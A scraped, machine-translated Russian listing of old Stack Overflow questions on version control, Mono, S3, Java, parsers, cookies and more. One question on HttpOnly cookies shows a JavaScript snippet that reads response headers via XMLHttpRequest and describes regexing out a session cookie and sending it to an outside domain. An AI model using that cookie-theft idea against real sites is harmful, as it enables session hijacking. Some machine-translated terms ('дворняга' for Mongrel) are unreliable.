Таким образом, в конце концов Subversion становится хорошим middle-of-the-road VCS, который, хотя и немного громоздкий для реализации лучших практик, все же затрудняет получение очень неправильных вещей.

В отличие от этого, с DVCS стоимость либо полностью светлой стороны, либо темной стороны намного ниже. Ветвление и слияние намного проще с этими современными системами VCS. Но распределенный аспект позволяет легко работать в наборе локальных ветвей на вашем собственном компьютере, предоставляя вам гранулированные фиксации, необходимые для проверки вашей работы, возможно, без публикации ваших изменений, чтобы другие могли видеть, просматривать и сотрудничать. Сложность сохранения изменений в локальных ветвях и их публикации обычно ниже, чем их публикация в какой-либо ветви на общедоступном сервере.

Итак, в двух словах, вот вопрос: если я дам нашим разработчикам на работе DVCS, как я могу убедиться, что они используют его, чтобы перейти к 'light side', по-прежнему регулярно публиковать свои изменения в Центральном местоположении и заставить их понять, что их недельный локальный хак, который они не хотели делиться, может быть просто тем, что какой-то другой разработчик может использовать для завершения функции, пока первый находится в отпуске?

Если и светлая сторона, и темная сторона DVCS так легко добраться, как я могу держать их подальше от темной стороны?

svn   version-control    

380   4   04:24, 25th August, 2020


iPhone приложение, которое получает доступ к ядру Location framework через интернет

Мне было интересно, могу ли я получить доступ к iPhones Core Location framework через веб-сайт?

Моя цель состоит в том, чтобы создать веб-приложение/веб-сайт, на который будет переходить iPhone, а затем загрузить его текущее местоположение GPS. Это будет простой сайт, основной для друзей / семьи, чтобы мы могли найти друг друга. Я могу заставить их вручную ввести lng/lat, но это не самая простая вещь, которую можно найти. Если бы iPhone мог отображать или загружать это автоматически, это было бы здорово.

У меня еще нет Mac (в ожидании нового Mac Book Pro), но сейчас мне хотелось бы что-то более автоматическое. Как только у меня будет mac, я смогу скачать SDK и построить лучшую версию позже. На данный момент версия веб-приложения была бы отличной, если бы это было возможно. Спасибо.

iphone   gps   web-applications    

466   4   12:40, 25th August, 2020


Ресурсы для разработки Mono на PS3

Я рассматривал возможность сделать решительный шаг и установить Linux на моей Playstation 3. Поскольку C#-это мой текущий язык выбора, следующим логическим шагом будет установка Mono.

Я провел небольшое исследование и обнаружил, что http://psubuntu.com/wiki/InstallationInstructions имеет инструкцию по установке Ubuntu и ссылки для загрузки ISO, содержащего конкретную версию PS3 Ubuntu. Существует также этот классный проект в http://code.google.com/p/celldotnet/ , который разработал некоторый код для использования 6 дополнительных ядер SPU CPU, а не только общего назначения, к которому у вас есть доступ по умолчанию.

Проблема в том, что проектная документация, кажется, немного тонкой. Кто-нибудь создал PS3 для разработки .NET код? Если да, то с какими проблемами вы столкнулись? Есть ли у кого-нибудь примеры кода, как даже частично загрузить один из этих процессоров монстров?

Обновление:

Я понимаю, что основное Программирование .NET/Mono вступит в игру здесь. Часть, на которой я нечетко, - это какие структуры данных вы передаете в специализированное ядро? Если я читаю это правильно, 6 SPU ядер имеют 128 регистров по 128 бит каждый . Я не видел никаких дискуссий о том, как эффективно кодировать для этого.

Обновление 2:

IBM объявила , что дальнейшее развитие сотового процессора было отменено. Хотя это в значительной степени убивает любое желание, которое я мог бы развить на платформе, надеюсь, кто-то еще может добавить полезную информацию.

c#   mono   playstation    

464   2   05:57, 3rd August, 2020


Почему перечисления не являются итеративными?

В Java 5 и выше у вас есть цикл foreach, который магически работает на всем, что реализует Iterable :

for (Object o : list) {
  doStuff(o);
}

Однако Enumerable по-прежнему не реализует Iterable , что означает, что для итерации над Enumeration необходимо выполнить следующие действия:

for(; e.hasMoreElements() ;) {
  doStuff(e.nextElement());
}

Кто-нибудь знает, есть ли причина, по которой Enumeration все еще не реализует Iterable ?

Edit: как уточнение, я не говорю о языковой концепции перечисления, я говорю о специфическом классе Java в Java API под названием "перечисление".

java   enumeration   iterable    

355   5   15:23, 6th August, 2020


Удалить ведра Amazon S3?

Я взаимодействовал с Amazon S3 через S3Fox и, похоже, не могу удалить свои ведра. Я выбираю ведро, нажимаю удалить, подтверждаю удаление во всплывающем окне и... ничего не происходит. Есть ли еще один инструмент, который я должен использовать?

amazon-s3   buckets    

531   23   05:01, 5th August, 2020


Что является лучшим решением для поддержания резервного копирования и контроля версий на живых веб-сайтах?

Что является лучшим решением для поддержания резервного копирования и контроля версий на живых веб-сайтах?

В рамках своей работы я работаю с несколькими живыми сайтами. Нам нужен эффективный способ поддержания резервных копий живых папок с течением времени. Кроме того, обновление этих сайтов может быть болезненным, особенно если изменение происходит с перерывом в живой среде по какой-либо причине.

То, что было бы идеальным, было бы беспроблемным управлением версиями. Я реализовал SVN на некоторое время, что было здорово в качестве полурешения для резервного копирования, а также контроля версий (легкая реверсия временных или критических изменений) и т. д.

К сожалению, SVN размещает .SVN скрытых каталогов везде, которые вызывают проблемы, особенно когда другие разработчики делают изменения структуры папок или копируют / перемещают каталоги веб-сайтов. Я слышал аргумент, что это вопрос образования и т. д. но подход, принятый SVN, просто не является для нас практическим решением.

Я думаю,что, возможно, инкрементное резервное копирование может быть лучше.

Другие возможности включают в себя:

  1. SVK, который является только командной строкой, которая становится проблемой. Кроме того, я не уверен, насколько это будет уместно.
  2. Mercurial, возможно, с некоторыми триггерами, чтобы скрыть распределенный компонент, который не требуется в этом случае и был бы излишне сложным для других разработчиков.

    Я немного поэкспериментировал с Mercurial, но не смог найти хороший способ отделить хранилище и постоянно синхронизировать его с рабочей копией живой папки. Возможно, в качестве решения для управления версиями (создание репозитория и живой папки в одном месте) в сочетании с другим решением для резервного копирования это может быть правильным решением.

    Одним из недостатков Mercurial является то, что он не помещает пустые папки под управление версиями, что является проблематичным для веб-сайтов, которые часто имеют пустые папки в качестве мест-заполнителей для загрузки файлов и т. д.

  3. Rsync , который я на самом деле не исследовал.

Я был бы очень признателен Вам за совет о том, как лучше всего поддерживать резервные копии живых веб-сайтов, в идеале с помощью простых средств быстрого восстановления прошлых версий.

Ответ ответов:

  • @Kibbee :

    • Речь идет не столько об образовании, сколько об отсутствии знакомства с чем-либо, кроме VSS, и об отсутствии времени/усилий для изучения чего-либо еще.

    • Подход xcopy/7-zip звучит разумно, я думаю, но он быстро займет много места, верно?

    • Что касается управления версиями, я думаю, что мне бы хотелось, чтобы система управления версиями просто сказала: "это состояние папки сейчас, я разберусь с этим, и если я не смогу сопоставить материал, который является вашей виной, я просто начну новые истории", а не потерплю неудачу.

  • @Steve м :

    • Да, это более приятный способ сделать это, но потребует значительных культурных изменений. Сказав, что мне очень нравится такой подход.
  • @mk :

    • Хорошо, что я не подумал об использовании Rsync для развертывания. Это только загружает различия? Перезапись всего живого каталога каждый раз, когда мы вносим изменения, будет проблематичной из-за простоя сайта.

Мне все еще любопытно посмотреть, есть ли еще какие-то традиционные варианты

version-control   backup   hosting    

466   4   05:05, 24th August, 2020


Каков самый быстрый способ умножить 16-битное целое число на двойное?

На 8-битном микроконтроллере я хотел бы сделать следующее:

16bit_integer = another_16bit_integer * 0.997;

с наименьшим возможным количеством инструкций.

c   microcontroller    

415   0   10:16, 24th August, 2020


Существует ли задача rake для резервного копирования данных в вашей базе данных?

Существует ли задача rake для резервного копирования данных в вашей базе данных?

У меня уже есть резервная копия моей схемы, но я хочу сделать резервную копию данных. Это небольшая база данных MySQL.

mysql   ruby-on-rails   ruby   database   rake    

415   7   04:54, 9th August, 2020


Поддерживает ли Mono System.Drawing и System.Drawing.Printing?

Я пытаюсь использовать Mono, чтобы загрузить bitmap и распечатать его на Linux, но получаю исключение. Поддерживает ли Mono печать на Linux? Код / исключение приведены ниже:

EDIT: я больше не получаю исключения, но мне все еще интересно, какая поддержка существует. Оставить код для потомков или что-то в этом роде.

private void btnPrintTest_Click(object sender, EventArgs e)
{
    _printDocTest.DefaultPageSettings.Landscape = true;
    _printDocTest.DefaultPageSettings.Margins = new Margins(50,50,50,50);
    _printDocTest.Print();
}

void _printDocTest_PrintPage(object sender, PrintPageEventArgs e)
{
  var bmp = new Bitmap("test.bmp");

  // Determine center of graph
  var xCenter = e.MarginBounds.X + (e.MarginBounds.Width - bmp.Width) / 2;
  var yCenter = e.MarginBounds.Y + (e.MarginBounds.Height - bmp.Height) / 2;

  e.Graphics.DrawImage(bmp, xCenter, yCenter);

  e.HasMorePages = false;
}

c#   .net   linux   printing   mono    

567   2   16:23, 20th August, 2020


Email SMTP валидатор

Мне нужно отправить сотни информационных бюллетеней, но сначала я хотел бы проверить, существует ли email на сервере. Это называется SMTP валидация, по крайней мере, я так думаю, основываясь на моих исследованиях в Интернете.

Есть несколько библиотек, которые могут это сделать, а также страница с открытым исходным кодом в ASP Classic (http://www.coveryourasp.com/ValidateEmail.asp#Result3), но мне трудно читать ASP Classic, и кажется, что он использует какую-то стороннюю библиотеку...

Есть ли какой-то код для проверки SMTP в C#, и / или общее объяснение того, как это работает?

validation   email    

403   7   04:27, 16th August, 2020


Где я могу узнать больше о функции перевода PyPy?

У меня возникли трудное время, пытаясь понять перевод PyPy по. Это выглядит как что-то абсолютно революционное от простого чтения описания, однако мне трудно найти хорошую документацию по фактическому переводу реального фрагмента кода на что-то вроде LLVM. Существует ли такая вещь? Официальная документация PyPy на нем просто скользит по функциональности, а не предоставляет что-либо, что я могу попробовать сам.

python   translation   pypy    

451   5   08:18, 3rd August, 2020


Найдите количество файлов с определенным расширением во всех подкаталогах

Есть ли способ найти количество файлов определенного типа без необходимости перебирать все результаты с помощью Directory.GetFiles() или аналогичного метода? Я ищу что-то вроде этого:

int ComponentCount = MagicFindFileCount(@"c:\windows\system32", "*.dll");

Я знаю , что могу сделать рекурсивную функцию для вызова Directory.GetFiles, но было бы намного чище, если бы я мог сделать это без всех итераций.

EDIT: если это невозможно сделать без рекурсии и повторения самого себя, то как это лучше всего сделать?

c#   file   recursion    

403   7   23:04, 26th August, 2020


JavaServiceWrapper на 64bit linux, есть проблемы?

Мы уже довольно давно используем 32-битную версию linux JavaServiceWrapper , и она отлично работает. Теперь мы рассматриваем также его использование на 64-битных системах linux. На веб-сайте есть загрузки для 64-битных двоичных файлов, но, заглянув в Makefile для 64-битной версии, я нашел следующий комментарий: # Этот makefile находится в процессе выполнения. Он строит, но результирующий libwrapper.so еще не работает. # Если вы знаете,как это исправить, пожалуйста, помогите.

Может ли кто-нибудь подтвердить, что этот комментарий просто устарел и полученная обертка будет работать без недостатков?

java   daemon    

436   3   02:19, 19th August, 2020


Когда выбрать проверенные и непроверенные исключения

В Java (или любом другом языке с проверяемыми исключениями), создавая свой собственный класс исключений, как вы решаете, следует ли его проверять или нет?

Мой инстинкт говорит, что проверенное исключение будет вызвано в тех случаях, когда вызывающий может быть в состоянии восстановить каким-то продуктивным способом, где как непроверенное исключение будет больше для неустранимых случаев, но мне было бы интересно узнать мысли другого.

java   exception   checked-exceptions    

422   18   23:05, 22nd August, 2020


Платформа Microsoft .Net установки 3.5 пакетом обновления 1 не удается

На моей машине Vista я не могу установить .Net framework 3.5 SP1. Установка завершается через несколько минут после завершения загрузки необходимых файлов, указав в журнале, что:

[08/26/08,09:46:11] Microsoft .NET Framework 2.0SP1 (CBS): [2] Error: Installation failed for component Microsoft .NET Framework 2.0SP1 (CBS). MSI returned error code 1
[08/26/08,09:46:13] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0SP1 (CBS) is not installed.

Первое, что я сделал, это попытался установить 2.0 SP1, но на этот раз программа установки утверждает, что "product is not supported on Vista system". Хм.

Реальная большая проблема заключается в том, что эта установка не выполняется также при вызове Visual Studio 2008 SP1.

Теперь я искал это в сети, но не нашел реального решения... Любую идею / подсказку? У кого-нибудь были проблемы во время установки SP1?

Спасибо

.net   frameworks   installation    

522   3   17:07, 29th August, 2020


Динамический нисходящий список элементов управления в WindowsForms и C#?

В нашем проекте SharpWired мы пытаемся создать компонент загрузки, аналогичный загрузке windows в Firefox или Safari. То есть, один единственный сверху вниз список загрузок, которые являются пользовательскими элементами управления, содержащими индикаторы выполнения, кнопки и то, что нет.

Требования состоят в том, что должен быть один единственный список, с одним элементом в каждой строке. Каждый элемент должен быть пользовательским элементом управления. Весь список должен быть динамически изменяемым, чтобы при увеличении / уменьшении длины списка при необходимости добавлялась полоса прокрутки,а при уменьшении / расширении настраиваемые элементы управления изменялись по ширине списка.

Мы пробовали использовать FlowLayoutPanel , но не получили изменения размера, чтобы работать так, как мы хотим. Предпочтительно мы должны только установить привязку пользовательских элементов управления влево & вправо. Мы также подумывали об использовании TableLayoutPanel , но обнаружили, что динамическое добавление строк пока является слишком большой накладной нагрузкой.

Это должно быть довольно распространенный случай использования, и мне кажется немного странным, что FlowLayoutPanel не имеет интуитивного способа сделать это. Кто-нибудь делал что-то подобное или имел советы или хитрости, чтобы заставить нас двигаться вперед?

Ваше здоровье!
/Adam

c#   .net   winforms   user-interface   user-controls    

468   2   04:47, 1st August, 2020


Как "unversion" файл в любом из svn и / или git

Это происходит со мной постоянно. Я случайно версирую файл, я не хочу быть версионным (т. е. разработчик/машина конкретных конфигурационных файлов).

Если я зафиксирую этот файл, я испорчу пути на всех других машинах разработчиков-они будут недовольны.

Если я все - таки удалю файл из системы управления версиями, он будет удален с других машин разработчиков-они будут недовольны.

Если я решу никогда не фиксировать файл, у меня всегда будет проверка "dirty" - я несчастлив.

Является ли чистым способом "unversion" файл из контроля версий, что приведет к тому, что никто не будет несчастен?

edit: пытаюсь немного прояснить: я уже отправил файл в репозиторий и хочу только удалить его из управления версиями - я специально не хочу, чтобы он был физически удален из всех, кто делает проверку. Я изначально хотел, чтобы это было проигнорировано.

Ответ: если бы я мог принять второй ответ, это было бы так . Он отвечает на мой вопрос относительно git-принятый ответ-о svn.

svn   git   version-control   versioning    

489   15   22:23, 28th August, 2020


Каковы некоторые примеры, в которых деревья выражений полезны?

Я полностью понимаю концепцию деревьев выражений, но мне трудно найти ситуации, в которых они полезны. Существует ли конкретный экземпляр, в котором могут применяться деревья выражений? Или это полезно только в качестве транспортного механизма для кода? Я чувствую, что мне чего-то не хватает здесь. Спасибо!

c#   expression    

401   3   12:08, 23rd August, 2020


Как мне изящно закрыть веб-сервер Mongrel

Мое приложение RubyOnRails настроено с обычным пакетом дворняг за конфигурацией Apache. Мы заметили, что использование памяти нашего веб-сервера Mongrel может быть довольно большим при определенных операциях, и мы действительно хотели бы иметь возможность динамически выполнять изящный перезапуск выбранных процессов Mongrel в любое время.

Однако по причинам, которые я не буду здесь вдаваться, иногда может быть очень важно, чтобы мы не прерывали дворняжку, пока она обслуживает запрос, поэтому я предполагаю, что простое убийство процесса не является ответом.

В идеале, я хочу послать дворняге сигнал, который говорит: "закончите все, что вы делаете, а затем прекратите, прежде чем принимать какие-либо дополнительные соединения".

Существует ли стандартная техника или лучшая практика для этого?

ruby-on-rails   ruby   mongrel    

434   6   00:16, 9th August, 2020


C/C++ визуализация исходного кода?

В основном мне нужны инструменты, которые генерируют визуализацию исходного кода, например:

  • график вызова функции
  • граф зависимостей ...
  • c++   c   visualization    

    754   8   12:22, 17th August, 2020


    Есть ли способ иметь функциональность index.html с содержимым, размещенным на S3?

    Есть ли способ сделать S3 по умолчанию для страницы index.html? E.g.: Список объектов my bucket:

    /index.html
    /favicon.ico
    /images/logo.gif
    

    Звонок на www.example.com/ index.html

    amazon-s3   amazon-web-services    

    473   7   20:07, 24th August, 2020


    Вычислить расстояние между двумя точками широты и долготы? (Формула гаверсинуса )

    Как рассчитать расстояние между двумя точками, указанными широтой и долготой?

    Для уточнения я хотел бы получить расстояние в километрах; точки используют систему WGS84, и я хотел бы понять относительную точность доступных подходов.

    algorithm   math   maps   latitude-longitude   haversine    

    2016   25   23:02, 18th August, 2020


    Как HttpOnly cookies работают с AJAX запросами?

    JavaScript необходим доступ к файлам cookie, если AJAX используется на сайте с ограничениями доступа на основе файлов cookie. Будут ли файлы cookie HttpOnly работать на сайте AJAX?

    Изменить: Microsoft создала способ предотвращения атак XSS, запретив JavaScript доступ к файлам cookie, если указано HttpOnly. FireFox позже принял это. Итак, мой вопрос: если вы используете AJAX на сайте, как StackOverflow, являются ли Http-только файлы cookie опцией?

    Правка 2: Вопрос 2. Если целью HttpOnly является предотвращение доступа JavaScript к cookies, и вы все еще можете получить cookies через JavaScript через объект XmlHttpRequest, то в чем смысл HttpOnly ?

    Правка 3: Вот цитата из Википедии:

    Когда браузер получает такой файл cookie, он должен использовать его как обычно в следующих обменах HTTP, но не делать его видимым для клиентской стороны scripts.[32] флаг HttpOnly не является частью какого-либо стандарта и не реализован во всех браузерах. Обратите внимание, что в настоящее время нет никакой возможности предотвратить чтение или запись сессионного куки через XMLHTTPRequest. [33].

    Я понимаю, что document.cookie блокируется, когда вы используете HttpOnly. Но похоже, что вы все еще можете прочитать значения cookie в объекте XMLHttpRequest, допуская XSS. Как HttpOnly делает вас более безопасным, чем? Делая файлы cookie по существу только для чтения?

    В вашем примере я не могу написать на ваш document.cookie, но я все еще могу украсть ваш файл cookie и отправить его в свой домен, используя объект XMLHttpRequest.

    <script type="text/javascript">
        var req = null;
        try { req = new XMLHttpRequest(); } catch(e) {}
        if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
        if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
        req.open('GET', 'http://stackoverflow.com/', false);
        req.send(null);
        alert(req.getAllResponseHeaders());
    </script>
    

    Правка 4: Извините, я имел в виду, что вы можете отправить XMLHttpRequest в домен StackOverflow, а затем сохранить результат getAllResponseHeaders() в строку, regex из файла cookie, а затем отправить его во внешний домен. Похоже, что Википедия и ha.ckers согласны со мной в этом, но я хотел бы быть перевоспитанным...

    Окончательное редактирование: Ах, очевидно, оба сайта ошибочны, на самом деле это ошибка в FireFox . IE6 & 7 на самом деле являются единственными браузерами, которые в настоящее время полностью поддерживают HttpOnly.

    Чтобы повторить все, что я узнал:

    • HttpOnly ограничивает весь доступ к document.cookie в IE7 & и FireFox (не уверен в других браузерах)
    • HttpOnly удаляет информацию о файлах cookie из заголовков ответов в XMLHttpObject.getAllResponseHeaders() в IE7.
    • XMLHttpObjects могут быть отправлены только в домен, из которого они исходят, поэтому нет никакой междоменной публикации файлов cookie.

    правка: эта информация, скорее всего, больше не актуальна.

    ajax   cookies   httponly    

    802   9   20:48, 28th August, 2020


    Ruby / Rails доисторические даты на windows

    Работая с датами в ruby и rails на windows, у меня возникают проблемы с датами до эпохи (до 1970 года), выбрасывающими исключения из диапазона. Я попытался использовать оба объекта Time и DateTime , но по-прежнему имею те же проблемы.

    ruby-on-rails   ruby   date    

    373   3   07:58, 21st August, 2020


    Несколько классов в заголовочном файле по сравнению с одним заголовочным файлом для каждого класса

    По какой-либо причине наша компания имеет руководство по кодированию, которое гласит::

    Each class shall have it's own header and implementation file.

    Поэтому, если бы мы написали класс с именем MyString , нам понадобились бы ассоциированные MyStringh.h и MyString.cxx .

    Кто - нибудь еще это делает? Кто-нибудь видел какие-либо последствия для производительности компиляции в результате этого? Действительно ли 5000 классов в 10000 файлов компилируются так же быстро, как 5000 классов в 2500 файлов? Если нет, то заметна ли разница?

    [Мы кодируем C++ и используем GCC 3.4.4 как наш повседневный компилятор]

    c++   performance   file-organization    

    511   13   15:34, 19th August, 2020


    Имеет ли PHP эквивалент этому типу подстановки строк Python?

    Python имеет этот замечательный способ обработки подстановок строк с помощью словарей:

    >>> 'The %(site)s site %(adj)s because it %(adj)s' % {'site':'Stackoverflow', 'adj':'rocks'}
    'The Stackoverflow site rocks because it rocks'
    

    Мне это нравится, потому что вы можете указать значение один раз в словаре, а затем заменить его по всему месту в строке.

    Я пытался добиться чего-то подобного в PHP, используя различные функции замены строк, но все, что я придумал, кажется неудобным.

    У кого-нибудь есть хороший чистый способ сделать такую замену строки в PHP?

    Редактировать
    Вот код со страницы sprintf, который мне больше всего понравился.

    <?php
    
    function sprintf3($str, $vars, $char = '%')
    {
        $tmp = array();
        foreach($vars as $k => $v)
        {
            $tmp[$char . $k . $char] = $v;
        }
        return str_replace(array_keys($tmp), array_values($tmp), $str);
    }
    
    echo sprintf3( 'The %site% site %adj% because it %adj%', array('site'=>'Stackoverflow', 'adj'=>'rocks'));
    ?>
    

    php   python   string    

    438   3   12:36, 13th August, 2020


    Вы следите за процессом персонального программного обеспечения? Следит ли ваша организация/команда за процессом командного программного обеспечения?

    Для получения дополнительной информации- процесс персонального программного обеспечения в Википедии и процесс командного программного обеспечения в Википедии .

    У меня есть два вопроса:

    1. Какие преимущества вы видели от эти процессы?
    2. Какие инструменты и/или методы, которые вы используете, чтобы следовать этим процессы?

    process   personal-software-process    

    948   10   13:12, 2nd August, 2020


    Java Singleton vs static - есть ли реальное преимущество в производительности?

    Я объединяю ветвь CVS, и одним из самых больших изменений является замена, где бы это ни происходило, шаблона Singleton абстрактными классами, которые имеют статический блок инициализации и все статические методы.

    Это то, что стоит сохранить, поскольку это потребует слияния большого количества конфликтов, какую ситуацию я бы рассматривал для того, чтобы этот рефакторинг был стоящим?

    Мы запускаем это приложение под Weblogic 8.1 (так что JDK 1.4.2)


    извините, Томас, позвольте мне уточнить..

    версия HEAD имеет традиционный шаблон singleton (частный конструктор, getInstance() и т. д)

    ветвь версии не имеет конструктора, является "публичным абстрактным классом" и изменила все методы на объекте, чтобы быть 'static'. Код, который раньше существовал в частном конструкторе, перемещается в статический блок.

    Затем все виды использования класса изменяются, что приводит к многочисленным конфликтам в слиянии.

    Есть несколько случаев, когда это изменение было сделано.

    java   design-patterns   singleton    

    448   7   15:49, 9th August, 2020


    Парсер уравнений (выражений)с приоритетом?

    Я разработал анализатор уравнений с использованием простого алгоритма стека, который будет обрабатывать двоичные файлы (+, -, |, &, *, /, etc) операторы, унарные (!) операторы и скобки.

    Использование этого метода, однако, оставляет мне все, что имеет одинаковый приоритет - он вычисляется слева направо независимо от оператора, хотя приоритет может быть применен с помощью скобок.

    Так что прямо сейчас "1+11*5" возвращает 60, а не 56, как можно было бы ожидать.

    Хотя это подходит для текущего проекта, Я хочу иметь рутину общего назначения, которую можно использовать для последующих проектов.

    Отредактировано для ясности:

    Что такое хороший алгоритм для разбора уравнений с приоритетом?

    Я заинтересован в чем-то простом для реализации и понимаю, что я могу кодировать сам, чтобы избежать проблем лицензирования с доступным кодом.

    Grammar:

    Я не понимаю вопроса grammar - я написал это от руки. Это достаточно просто, чтобы я не видел необходимости в YACC или Bison. Мне просто нужно вычислить строки с такими уравнениями, как "2+3 * (42/13)".

    Язык:

    Я делаю это в C, но меня интересует алгоритм, а не конкретное языковое решение. C-это достаточно низкий уровень, чтобы его можно было легко перевести на другой язык, если возникнет такая необходимость.

    пример кода

    Я опубликовал тестовый код для простого синтаксического анализатора выражений , о котором я говорил выше. Требования к проекту изменились, и поэтому мне никогда не нужно было оптимизировать код для производительности или пространства, поскольку он не был включен в проект. Он написан в оригинальной многословной форме и должен быть легко понятен. Если я сделаю что-нибудь еще с ним в плане приоритета операторов, я, вероятно, выберу макрос hack , потому что он соответствует rest программы в простоте. Если я когда-нибудь использую это в реальном проекте, я буду использовать более компактный/быстрый парсер.

    Смежный вопрос

    Умный дизайн математического анализатора?

    -Adam

    algorithm   parsing   equation    

    778   22   23:00, 2nd August, 2020


    Инструмент анализа исключений для C++

    Я искал инструмент для извлечения информации об исключениях из программы C++. Самая разыскиваемая функция, которую я ищу: я хочу знать все исключения, которые могут быть брошены из функции (которая будет включать в себя всю функцию, которая вызывается из этой функции рекурсивно).

    Я всегда думал, что документирование ошибок и исключений, в частности, очень сложно (и требует много усилий, чтобы идти в ногу со временем). Но если есть какой-то способ автоматизировать это, это было бы очень полезно.

    Инструмент для windows и Visual Studio был бы предпочтительным, но не необходимым,я всегда мог бы обойти это.

    c++   exception   code-analysis    

    425   5   17:55, 2nd August, 2020


    Бесплатный Сетевой Монитор

    У меня возникли проблемы с интеграцией двух продуктов, один из которых мой, и они, похоже, не разговаривают. Поэтому я хочу убедиться, что они правильно общаются. Я посмотрел вокруг для сетевого монитора и нашел TCP Spy. Это работает, но показывает только 1 сторону разговора за раз (он должен работать локально) я бы в идеале хотел видеть обе стороны одновременно - но вы не можете запустить две копии TCP Spy.

    Я ударил Sourceforge,но ничего не выскакивает - я разработчик Windows, у меня нет perl.

    Я нашел пару других, которые являются калеками и совершенно бесполезны, поэтому мне было интересно, что используют ребята SO для просмотра разговора TCP?

    BTW-продукт ' not-written-here ' не является браузером.

    windows   sockets   network-monitoring    

    430   10   19:15, 11th August, 2020


    Действительно ли "safe_eval" безопасен?

    Я ищу функцию "safe" eval, чтобы реализовать вычисления, подобные электронным таблицам (используя numpy/scipy).

    Функциональность для этого ( модуль rexec) была удалена из Python с 2.3 из-за явно нефиксируемых проблем безопасности. Есть несколько сторонних хаков, которые претендуют на это - самое продуманное решение, которое я нашел, это это Python рецепт Кукбока, "safe_eval".

    Достаточно ли я безопасен, если я использую это (или что-то подобное), чтобы защитить от вредоносного кода, или я застрял с написанием собственного парсера? Кто-нибудь знает лучшие альтернативы?

    EDIT: я только что открыл RestrictedPython, который является частью Zope. Любые мнения по этому поводу приветствуются.

    python   security    

    422   6   15:48, 5th August, 2020


    Разница в производительности между IIf() и If

    В Visual Basic существует ли разница в производительности при использовании функции IIf вместо оператора If ?

    vb.net   if-statement   iif-function    

    554   9   03:48, 10th August, 2020


    Прокси, который требует аутентификации с помощью эмулятора Android

    Удалось ли кому-нибудь заставить эмулятор Android работать за прокси, который требует аутентификации?

    Я попытался установить аргумент-http-proxy в значение

    http://DOMAIN/USERNAME:PASSWORD@IP:PORT
    

    но у меня ничего не получается.

    Я пытался следовать документам, но безрезультатно. Я также пробовал установку -verbose-proxy , но этого больше не существует.

    Есть какие-нибудь указания?

    android   authentication   proxy    

    560   16   19:17, 22nd August, 2020


    Как я могу получить путь, где пользователь установил мое приложение Java?

    Я хочу открыть диалоговое окно файла в Java, которое по умолчанию соответствует каталогу установки приложения.

    Каков наилучший способ получить эту информацию программно?

    java   environment-variables    

    349   2   07:35, 6th August, 2020


    Сравнение двух схем XML

    Существуют ли какие-либо инструменты для эффективного сравнения двух схем XML? Я видел некоторые общие инструменты XML diff, но мне было интересно, есть ли что-нибудь, что знает больше о схемах.

    xml   comparison   xsd    

    386   1   08:28, 15th August, 2020


    Оптимизация для низкой пропускной способности

    Мне поручено разработать веб-приложение, которое отображает очень большие географические данные. И одно из требований заключается в том, что он должен быть оптимизирован, чтобы PC все еще на наборах, распространенных в пригородах моей страны, мог использовать его.

    Теперь мне разрешено использовать Flash и / или Silverlight, если это поможет с ограниченным временем разработки и пользовательским опытом.

    Тяжелая часть географических данных разделена на плитки и загружена, как плитки карты в Google Maps, но это означает, что мне нужно много запросов HTTP.

    Должен ли я пойти только с javascript + HTML? Я бы в конечном итоге с более быстрым приложением относительно Flash/Silverlight?, так как я могу сделать какой-то сложный алгоритм на этих 2 технологиях (например, DeepZoom). Развертывание настольного приложения, хотя, не может быть и речи, так как у нас нет столько средств на техническое обслуживание.

    Это просто должно быть быстро... действительно быстрый..

    p. s. быстрее в смысле "download faster"

    optimization   networking   web-applications    

    447   5   16:36, 29th August, 2020


    Когда вы используете инъекцию зависимости?

    Я использую StructureMap недавно и наслаждался опытом полностью. Тем не менее, я вижу, как можно легко увлечься взаимодействием всего и в конечном итоге получить классы, которые принимают в лодку интерфейсов в своих конструкторах. Несмотря на то, что это действительно не огромная проблема, когда вы используете фреймворк для инъекций зависимостей, он все еще чувствует, что есть определенные свойства, которые действительно не нужно взаимодействовать только ради их взаимодействия.

    Где вы рисуете линию на том, что нужно сделать, чтобы просто добавить свойство к классу?

    dependency-injection    

    389   9   16:32, 8th August, 2020


    Если IIf() и If()

    Недавно я задал вопрос о IIf vs. If и узнал, что в VB есть еще одна функция, называемая If , которая в основном делает то же самое, что и IIf , но является коротким замыканием.

    Работает ли эта функция If лучше, чем функция IIf? Превосходит ли оператор If функции If и IIf ?

    .net   vb.net   if-statement   iif-function    

    443   2   12:39, 4th August, 2020


    Какова цель файлов конструктора в проектах веб-приложений Visual Studio 2008?

    Существует процесс преобразования, который необходим при переносе веб-узла Visual Studio 2005 в проекты веб-приложений Visual Studio 2008.

    Похоже, что VS2008 создает a .дизайнер. файл для каждого aspx при щелчке правой кнопкой мыши на файле или самом проекте в Solution Explorer и выборе пункта ' конвертировать в веб-приложение.'

    Какова цель этих файлов конструктора? И они не будут существовать на сборке выпуска веб-приложения, они просто промежуточные файлы, используемые во время разработки, надеюсь?

    visual-studio-2008   web-applications    

    411   2   21:06, 1st October, 2020


    Советы для успешной подачи AppStore?

    Через день или два я буду готов отправить свое приложение iPhone в AppStore, и мне интересно, есть ли у людей, прошедших через этот процесс, какие-либо советы / предложения для плавного процесса подачи.

    Вот о чем я уже говорил;

    • Никаких утечек памяти
    • Тестируемая производительность на реальном устройстве
    • Не разбивается :)
    • Использование правильных сертификатов / профилей

    В чем я немного не уверен, так это в том, как настроить "Bundle Display Name" /"идентификатор Bundle" и "Bundle Name" в info.plist. Я понимаю, что первый-это текст, который показан на самом iPhone, но как насчет последнего? Должно ли это совпадать с идентификатором Bundle?

    Есть ли еще что-нибудь, что я должен добавить к info.plist? Я заметил, что при создании для распространения Adhoc мое приложение не имеет никакой информации об авторе/названии в iTunes.

    iphone   ios   app-store    

    496   21   20:53, 11th August, 2020


    Наиболее подходящие для Python способ эквивалентны: а ((х = next()) != КОНЕЦ)

    Какая лучшая идиома Python для этой конструкции C?

    while ((x = next()) != END) {
        ....
    }
    

    У меня нет возможности перекодировать next().

    обновление: и ответ от, кажется, будет:

    for x in iter(next, END):
        ....
    

    c   python    

    442   7   10:32, 6th August, 2020


    Как я могу merge мои файлы, когда структура папок изменилась с помощью Borland StarTeam?

    Я нахожусь в процессе рефакторинга некоторого кода, который включает перемещение папок вокруг, и я хотел бы регулярно merge, чтобы держать вещи в курсе. Что является лучшим способом, чтобы merge после того, как я переместил папки в моей рабочей копии?

    version-control   refactoring   merge   starteam    

    481   5   19:37, 9th August, 2020


